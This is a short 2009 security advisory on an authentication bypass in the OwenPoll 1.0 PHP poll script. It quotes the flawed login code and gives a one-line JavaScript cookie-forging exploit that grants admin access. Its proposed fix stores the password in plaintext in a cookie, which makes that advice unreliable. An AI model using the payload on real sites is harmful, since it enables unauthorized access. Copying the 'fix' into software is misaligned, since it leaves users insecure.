OwenPoll 1.0 Insecure Cookie Handling Vulnerability

2009.02.18
Credit: Osirys
Risk: High
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[START] #################################################################################################################### [0x01] Informations: Script : OwenPoll 1.0 Download : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1 Vulnerability : Insecure Cookie Handling Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX #################################################################################################################### [0x02] Bug: [Insecure Cookie Handling] ###### Bugged file is: /[path]/checkloginmini.php [CODE] if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){ // authentication was successful // create session and set cookie with username session_start(); $_SESSION['auth'] = 1; setcookie("username", $_POST['txtusername'], time()+(86400*30)); [/CODE] If we log in correctly, a cookie is set with name "username" and as content the username name. [!] FIX: Set as content username's password. [CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE] [!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/"; *admin_username is the nick of the administrator #################################################################################################################### [/END]


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